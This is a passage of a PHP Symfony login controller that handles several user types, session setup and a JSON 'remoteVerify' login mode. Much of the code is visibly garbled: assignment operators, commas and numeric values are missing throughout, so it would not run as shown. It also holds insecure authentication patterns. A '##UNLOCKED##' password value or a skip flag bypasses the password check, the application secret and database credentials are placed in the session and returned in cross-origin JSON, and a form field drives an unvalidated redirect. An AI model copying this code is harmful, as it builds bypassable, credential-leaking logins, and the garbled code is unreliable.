  4362.                                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4363.                                         return new JsonResponse(array(
  4364.                                             'uid' => $session->get(UserConstants::USER_ID),
  4365.                                             'session' => $session,
  4366.                                             'success' => false,
  4367.                                             'errorStr' => $message,
  4368.                                             'session_data' => [],
  4369.                                         ));
  4370.                                         //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4371.                                         //                    return $response;
  4372.                                     }
  4373.                                     return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4374.                                         "message" => $message,
  4375.                                         'page_title' => "Login",
  4376.                                         'gocList' => $gocDataList,
  4377.                                         'gocId' => $gocId
  4378.                                     ));
  4379.                                 }
  4380.                             }
  4381.                             $jd = [$client->getCompanyId()];
  4382.                             if ($jd != null && $jd != '' && $jd != [])
  4383.                                 $company_id_list $jd;
  4384.                             else
  4385.                                 $company_id_list = [1];
  4386.                             $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  4387.                             foreach ($company_id_list as $c) {
  4388.                                 $company_name_list[$c] = $companyList[$c]['name'];
  4389.                                 $company_image_list[$c] = $companyList[$c]['image'];
  4390.                             }
  4391.                             $user $client;
  4392.                         }
  4393.                     } else if ($applicantId != || $userType == UserConstants::USER_TYPE_APPLICANT) {
  4394.                         $em $this->getDoctrine()->getManager('company_group');
  4395.                         $applicantRepo $em->getRepository(EntityApplicantDetails::class);
  4396.                         if ($oAuthData) {
  4397.                             $oAuthEmail $oAuthData['email'];
  4398.                             $oAuthUniqueId $oAuthData['uniqueId'];
  4399.                             // Multi-email aware: match the OAuth email against ANY email tagged on
  4400.                             // the account (comma list, email OR oAuthEmail) â€” not exact single value.
  4401.                             $user = \ApplicationBundle\Helper\ApplicantEmailResolver::findOneByAnyEmail($em$oAuthEmail);
  4402.                             if (!$user)
  4403.                                 $user $applicantRepo->findOneBy(['oAuthUniqueId' => $oAuthUniqueId]);
  4404.                         } else {
  4405.                             $user $applicantRepo->findOneBy(['username' => $userName]);
  4406.                             if (!$user)
  4407.                                 $user = \ApplicationBundle\Helper\ApplicantEmailResolver::findOneByAnyEmail($em$email);
  4408.                             if (!$user)
  4409.                                 $user $applicantRepo->findOneBy(['phone' => $email]);
  4410.                         }
  4411.                         $redirect_login_page_twig "@Authentication/pages/views/login_new.html.twig";
  4412. //                        if($systemType=='_BUDDYBEE_')
  4413. //                            $redirect_login_page_twig="@Authentication/pages/views/applicant_login.html.twig";
  4414.                         if (!$user) {
  4415.                             $message "We could not find your username or email";
  4416.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4417.                                 return new JsonResponse(array(
  4418.                                     'uid' => $session->get(UserConstants::USER_ID),
  4419.                                     'session' => $session,
  4420.                                     'success' => false,
  4421.                                     'errorStr' => $message,
  4422.                                     'session_data' => [],
  4423.                                 ));
  4424.                             }
  4425.                             if ($systemType == '_BUDDYBEE_')
  4426.                                 return $this->redirectToRoute("applicant_login", [
  4427.                                     "message" => $message,
  4428.                                     "errorField" => 'username',
  4429.                                 ]);
  4430.                             else if ($systemType == '_CENTRAL_')
  4431.                                 return $this->redirectToRoute("central_login", [
  4432.                                     "message" => $message,
  4433.                                     "errorField" => 'username',
  4434.                                 ]);
  4435.                             else if ($systemType == '_SOPHIA_')
  4436.                                 return $this->redirectToRoute("sophia_login", [
  4437.                                     "message" => $message,
  4438.                                     "errorField" => 'username',
  4439.                                 ]);
  4440.                             else
  4441.                                 return $this->render($redirect_login_page_twig, array(
  4442.                                     "message" => $message,
  4443.                                     'page_title' => "Login",
  4444.                                     'gocList' => $gocDataList,
  4445.                                     'gocId' => $gocId
  4446.                                 ));
  4447.                         }
  4448.                         if ($user) {
  4449.                             if ($oAuthData) {
  4450.                                 // user passed
  4451.                             } else {
  4452.                                 if ($skipPassword == || $user->getPassword() == '##UNLOCKED##') {
  4453.                                 } else if (!$this->container->get('app.legacy_password_service')->verifyWithSalt($user->getPassword(), $request->request->get('password'), $user->getSalt())) {
  4454. //                                    if ($user->getPassword() == $request->request->get('password')) {
  4455. //                                        // user passed
  4456. //                                    } else {
  4457.                                     $message "Oops! Wrong Password";
  4458.                                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'0)) == 1) {
  4459.                                         return new JsonResponse(array(
  4460.                                             'uid' => $session->get(UserConstants::USER_ID),
  4461.                                             'session' => $session,
  4462.                                             'success' => false,
  4463.                                             'errorStr' => $message,
  4464.                                             'session_data' => [],
  4465.                                         ));
  4466.                                         //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4467.                                         //                    return $response;
  4468.                                     }
  4469.                                     if ($systemType == '_BUDDYBEE_')
  4470.                                         return $this->redirectToRoute("applicant_login", [
  4471.                                             "message" => $message,
  4472.                                             "errorField" => 'password',
  4473.                                         ]);
  4474.                                     else if ($systemType == '_SOPHIA_')
  4475.                                         return $this->redirectToRoute("sophia_login", [
  4476.                                             "message" => $message,
  4477.                                             "errorField" => 'username',
  4478.                                         ]);
  4479.                                     else if ($systemType == '_CENTRAL_')
  4480.                                         return $this->redirectToRoute("central_login", [
  4481.                                             "message" => $message,
  4482.                                             "errorField" => 'username',
  4483.                                         ]);
  4484.                                     else
  4485.                                         return $this->render($redirect_login_page_twig, array(
  4486.                                             "message" => $message,
  4487.                                             'page_title' => "Login",
  4488.                                             'gocList' => $gocDataList,
  4489.                                             'gocId' => $gocId
  4490.                                         ));
  4491.                                 }
  4492.                             }
  4493.                         }
  4494.                         $jd = [];
  4495.                         if ($jd != null && $jd != '' && $jd != [])
  4496.                             $company_id_list $jd;
  4497.                         else
  4498.                             $company_id_list = [];
  4499. //                        $companyList = Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  4500. //                        foreach ($company_id_list as $c) {
  4501. //                            $company_name_list[$c] = $companyList[$c]['name'];
  4502. //                            $company_image_list[$c] = $companyList[$c]['image'];
  4503. //                        }
  4504.                     };
  4505.                 } else {
  4506.                     if ($cookieLogin == 1) {
  4507.                         $user $em->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  4508.                             array(
  4509.                                 'userId' => $userId
  4510.                             )
  4511.                         );
  4512.                     } else if ($encrypedLogin == 1) {
  4513.                         if (in_array($userType, [34]))
  4514.                             $specialLogin 1;
  4515.                         if ($userType == UserConstants::USER_TYPE_CLIENT) {
  4516.                             $user null;
  4517.                             if ($clientId 0) {
  4518.                                 $user $em->getRepository('ApplicationBundle\\Entity\\AccClients')->findOneBy(
  4519.                                     array(
  4520.                                         'clientId' => $clientId
  4521.                                     )
  4522.                                 );
  4523.                             }
  4524.                             if (!$user) {
  4525.                                 $user $em->getRepository('ApplicationBundle\\Entity\\AccClients')->findOneBy(
  4526.                                     array(
  4527.                                         'globalUserId' => $globalId
  4528.                                     )
  4529.                                 );
  4530.                             }
  4531. //
  4532.                             if ($user)
  4533.                                 $userId $user->getClientId();
  4534.                             $clientId $userId;
  4535.                         } else if ($userType == UserConstants::USER_TYPE_SUPPLIER) {
  4536.                             $user $em_goc->getRepository('ApplicationBundle\\Entity\\AccSuppliers')->findOneBy(
  4537.                                 array(
  4538.                                     'globalUserId' => $globalId
  4539.                                 )
  4540.                             );
  4541. //
  4542.                             if ($user)
  4543.                                 $userId $user->getSupplierId();
  4544.                             $supplierId $userId;
  4545.                         } else if ($userType == UserConstants::USER_TYPE_APPLICANT) {
  4546. //                            $user = $em_goc->getRepository('CompanyGroupBundle\\Entity\\SysUser')->findOneBy(
  4547. //                                array(
  4548. //                                    'globalId' => $globalId
  4549. //                                )
  4550. //                            );
  4551. //
  4552. //                            if($user)
  4553. //                                $userId=$user->getUserId();
  4554. //                            $applicantId = $userId;
  4555.                         } else if ($userType == UserConstants::USER_TYPE_GENERAL || $userType == UserConstants::USER_TYPE_SYSTEM) {
  4556.                             $user $em->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  4557.                                 array(
  4558.                                     'globalId' => $globalId
  4559.                                 )
  4560.                             );
  4561.                             if ($user)
  4562.                                 $userId $user->getUserId();
  4563.                         }
  4564.                     } else {
  4565.                         $user $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  4566.                             array(
  4567.                                 'userName' => $request->request->get('username')
  4568.                             )
  4569.                         );
  4570.                     }
  4571.                     if (!$user) {
  4572.                         $user $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  4573.                             array(
  4574.                                 'email' => $request->request->get('username'),
  4575.                                 'userName' => [null'']
  4576.                             )
  4577.                         );
  4578.                         if (!$user) {
  4579.                             $message "Wrong User Name";
  4580.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4581.                                 return new JsonResponse(array(
  4582.                                     'uid' => $session->get(UserConstants::USER_ID),
  4583.                                     'session' => $session,
  4584.                                     'success' => false,
  4585.                                     'errorStr' => $message,
  4586.                                     'session_data' => [],
  4587.                                 ));
  4588.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4589.                                 //                    return $response;
  4590.                             }
  4591.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4592.                                 "message" => $message,
  4593.                                 'page_title' => "Login",
  4594.                                 'gocList' => $gocDataList,
  4595.                                 'gocId' => $gocId
  4596.                             ));
  4597.                         } else {
  4598.                             //add the email as username as failsafe
  4599.                             $user->setUserName($request->request->get('username'));
  4600.                             $em->flush();
  4601.                         }
  4602.                     }
  4603.                     if ($user) {
  4604.                         if ($user->getStatus() == UserConstants::INACTIVE_USER) {
  4605.                             $message "Sorry, Your Account is Deactivated";
  4606.                             if ($request->request->get('remoteVerify'$request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify))) == 1) {
  4607.                                 return new JsonResponse(array(
  4608.                                     'uid' => $session->get(UserConstants::USER_ID),
  4609.                                     'session' => $session,
  4610.                                     'success' => false,
  4611.                                     'errorStr' => $message,
  4612.                                     'session_data' => [],
  4613.                                 ));
  4614.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4615.                                 //                    return $response;
  4616.                             }
  4617.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4618.                                 "message" => $message,
  4619.                                 'page_title' => "Login",
  4620.                                 'gocList' => $gocDataList,
  4621.                                 'gocId' => $gocId
  4622.                             ));
  4623.                         }
  4624.                     }
  4625.                     if ($skipPassword == || $user->getPassword() == '##UNLOCKED##') {
  4626.                     } else if (!$this->container->get('app.legacy_password_service')->verifyWithSalt($user->getPassword(), $request->request->get('password'), $user->getSalt())) {
  4627.                         $message "Wrong Email/Password";
  4628.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4629.                             return new JsonResponse(array(
  4630.                                 'uid' => $session->get(UserConstants::USER_ID),
  4631.                                 'session' => $session,
  4632.                                 'success' => false,
  4633.                                 'errorStr' => $message,
  4634.                                 'session_data' => [],
  4635.                             ));
  4636.                             //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4637.                             //                    return $response;
  4638.                         }
  4639.                         return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4640.                             "message" => $message,
  4641.                             'page_title' => "Login",
  4642.                             'gocList' => $gocDataList,
  4643.                             'gocId' => $gocId
  4644.                         ));
  4645.                     }
  4646.                     $userType $user->getUserType();
  4647.                     $jd json_decode($user->getUserCompanyIdList(), true);
  4648.                     if ($jd != null && $jd != '' && $jd != [])
  4649.                         $company_id_list $jd;
  4650.                     else
  4651.                         $company_id_list = [$user->getUserCompanyId()];
  4652.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  4653.                     foreach ($company_id_list as $c) {
  4654.                         if (isset($companyList[$c])) {
  4655.                             $company_name_list[$c] = $companyList[$c]['name'];
  4656.                             $company_image_list[$c] = $companyList[$c]['image'];
  4657.                             $company_dark_vibrant_list[$c] = $companyList[$c]['dark_vibrant'];
  4658.                             $company_light_vibrant_list[$c] = $companyList[$c]['light_vibrant'];
  4659.                             $company_vibrant_list[$c] = $companyList[$c]['vibrant'];
  4660.                         }
  4661.                     }
  4662.                 }
  4663. //                $data["email"] = $request->request->get('username') ? $request->request->get('username') : $oAuthData['email'];
  4664.                 if ($remember_me == 1)
  4665.                     $session->set('REMEMBERME'1);
  4666.                 else
  4667.                     $session->set('REMEMBERME'0);
  4668.                 $config = array(
  4669.                     'firstLogin' => $firstLogin,
  4670.                     'rememberMe' => $remember_me,
  4671.                     'notificationEnabled' => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  4672.                     'notificationServer' => $this->getParameter('notification_server') == '' GeneralConstant::NOTIFICATION_SERVER $this->getParameter('notification_server'),
  4673.                     'applicationSecret' => $this->container->getParameter('secret'),
  4674.                     'gocId' => $gocId,
  4675.                     'appId' => $appIdFromUserName,
  4676.                     'gocDbName' => $gocDbName,
  4677.                     'gocDbUser' => $gocDbUser,
  4678.                     'gocDbHost' => $gocDbHost,
  4679.                     'gocDbPass' => $gocDbPass
  4680.                 );
  4681.                 $product_name_display_type 0;
  4682.                 if ($systemType != '_CENTRAL_') {
  4683.                     $product_name_display_settings $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\AccSettings')->findOneBy(array(
  4684.                         'name' => 'product_name_display_method'
  4685.                     ));
  4686.                     if ($product_name_display_settings)
  4687.                         $product_name_display_type $product_name_display_settings->getData();
  4688.                 }
  4689.                 if ($userType == UserConstants::USER_TYPE_SUPPLIER) {
  4690.                     $userCompanyId 1;
  4691.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  4692.                     if (isset($companyList[$userCompanyId])) {
  4693.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  4694.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  4695.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  4696.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
  4697.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  4698.                     }
  4699.                     // General User
  4700.                     $session->set(UserConstants::USER_ID$user->getSupplierId());
  4701.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  4702.                     $session->set(UserConstants::SUPPLIER_ID$user->getSupplierId());
  4703.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_SUPPLIER);
  4704.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  4705.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  4706.                     $session->set(UserConstants::USER_NAME$user->getSupplierName());
  4707.                     $session->set(UserConstants::USER_DEFAULT_ROUTE'');
  4708.                     $session->set(UserConstants::USER_COMPANY_ID$user->getCompanyId());
  4709.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  4710.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  4711.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  4712.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  4713.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  4714.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  4715.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  4716.                     $session->set(UserConstants::USER_APP_ID$appIdFromUserName);
  4717.                     $session->set(UserConstants::USER_POSITION_LIST'[]');
  4718.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG0);
  4719.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  4720.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  4721.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  4722.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  4723.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  4724.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  4725.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  4726.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  4727.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  4728.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  4729.                     //                $PL=json_decode($user->getPositionIds(), true);
  4730.                     $route_list_array = [];
  4731.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  4732.                     //                $loginID=$this->get('user_module')->addUserLoginLog($session->get(UserConstants::USER_ID),
  4733.                     //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  4734.                     $loginID 0;
  4735.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  4736.                     //                    $session->set(UserConstants::USER_LOGIN_ID, $loginID);
  4737.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  4738.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  4739.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  4740.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  4741.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  4742.                     $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  4743.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  4744.                     $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  4745.                     //                $session->set(UserConstants::USER_PROHIBIT_LIST, json_encode(Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $PL[0])));
  4746.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4747.                         $session->set('remoteVerified'1);
  4748.                         $session_data = array(
  4749.                             UserConstants::USER_ID => $session->get(UserConstants::USER_ID0),
  4750.                             UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  4751.                             UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  4752.                             UserConstants::SUPPLIER_ID => $session->get(UserConstants::SUPPLIER_ID0),
  4753.                             UserConstants::CLIENT_ID => $session->get(UserConstants::CLIENT_ID0),
  4754.                             UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID0),
  4755.                             UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL''),
  4756.                             UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE0),
  4757.                             UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE''),
  4758.                             UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE''),
  4759.                             UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME''),
  4760.                             UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID0),
  4761.                             UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST, []),
  4762.                             UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST, []),
  4763.                             UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST, []),
  4764.                             'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  4765.                             'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  4766.                             'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  4767.                             UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID0),
  4768.                             UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION0),
  4769.                             UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT''),
  4770.                             UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET''),
  4771.                             UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST''),
  4772.                             UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG0),
  4773.                             UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID0),
  4774.                             UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME''),
  4775.                             UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER''),
  4776.                             UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST''),
  4777.                             UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS''),
  4778.                             UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE1),
  4779.                             UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  4780.                             UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  4781.                         );
  4782.                         $session_data $this->filterClientSessionData($session_data);
  4783.                         $response = new JsonResponse(array(
  4784.                             'uid' => $session->get(UserConstants::USER_ID),
  4785.                             'session' => $session,
  4786.                             'success' => true,
  4787.                             'session_data' => $session_data,
  4788.                         ));
  4789.                         $response->headers->set('Access-Control-Allow-Origin''*');
  4790.                         return $response;
  4791.                     }
  4792.                     if ($request->request->has('referer_path')) {
  4793.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  4794.                             return $this->redirect($request->request->get('referer_path'));
  4795.                         }
  4796.                     }
  4797.                     //                    if($request->request->has('gocId')
  4798.                     //                    if($user->getDefaultRoute()==""||$user->getDefaultRoute()=="")
  4799.                     return $this->redirectToRoute("supplier_dashboard");
  4800.                     //                    else
  4801.                     //                        return $this->redirectToRoute($user->getDefaultRoute());
  4802.                 }
  4803.                 if ($userType == UserConstants::USER_TYPE_CLIENT) {
  4804.                     // General User
  4805.                     $userCompanyId 1;
  4806.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  4807.                     if (isset($companyList[$userCompanyId])) {
  4808.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  4809.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  4810.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  4811.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
  4812.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  4813.                     }
  4814.                     $session->set(UserConstants::USER_ID$user->getClientId());
  4815.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  4816.                     $session->set(UserConstants::CLIENT_ID$user->getClientId());
  4817.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_CLIENT);
  4818.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  4819.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  4820.                     $session->set(UserConstants::USER_NAME$user->getClientName());
  4821.                     $session->set(UserConstants::USER_DEFAULT_ROUTE'');
  4822.                     $session->set(UserConstants::USER_COMPANY_ID$user->getCompanyId());
  4823.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  4824.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  4825.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  4826.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  4827.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  4828.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  4829.                     $session->set(UserConstants::USER_APP_ID$appIdFromUserName);
  4830.                     $session->set(UserConstants::USER_POSITION_LIST'[]');
  4831.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG0);
  4832.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  4833.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  4834.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  4835.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  4836.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  4837.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  4838.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  4839.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  4840.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  4841.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  4842.                     //                $PL=json_decode($user->getPositionIds(), true);
  4843.                     $route_list_array = [];
  4844.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  4845.                     //                $loginID=$this->get('user_module')->addUserLoginLog($session->get(UserConstants::USER_ID),
  4846.                     //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  4847.                     $loginID 0;
  4848.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  4849.                     //                    $session->set(UserConstants::USER_LOGIN_ID, $loginID);
  4850.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  4851.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  4852.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  4853.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  4854.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  4855.                     $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  4856.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  4857.                     $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  4858.                     //                $session->set(UserConstants::USER_PROHIBIT_LIST, json_encode(Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $PL[0])));
  4859.                     $session_data = array(
  4860.                         UserConstants::USER_ID => $session->get(UserConstants::USER_ID0),
  4861.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  4862.                         UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  4863.                         UserConstants::SUPPLIER_ID => $session->get(UserConstants::SUPPLIER_ID0),
  4864.                         UserConstants::CLIENT_ID => $session->get(UserConstants::CLIENT_ID0),
  4865.                         UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID0),
  4866.                         UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL''),
  4867.                         UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE0),
  4868.                         UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE''),
  4869.                         UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE''),
  4870.                         UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME''),
  4871.                         UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID0),
  4872.                         UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST, []),
  4873.                         UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST, []),
  4874.                         UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST, []),
  4875.                         UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID0),
  4876.                         UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION0),
  4877.                         UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT''),
  4878.                         UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET''),
  4879.                         UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST''),
  4880.                         'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  4881.                         'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  4882.                         'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  4883.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG0),
  4884.                         UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID0),
  4885.                         UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME''),
  4886.                         UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER''),
  4887.                         UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST''),
  4888.                         UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS''),
  4889.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE1),
  4890.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  4891.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  4892.                     );
  4893.                     $session_data $this->filterClientSessionData($session_data);
  4894.                     $tokenData MiscActions::CreateTokenFromSessionData($em_goc$session_data);
  4895.                     $session_data $tokenData['sessionData'];
  4896.                     $token $tokenData['token'];
  4897.                     $session->set('token'$token);
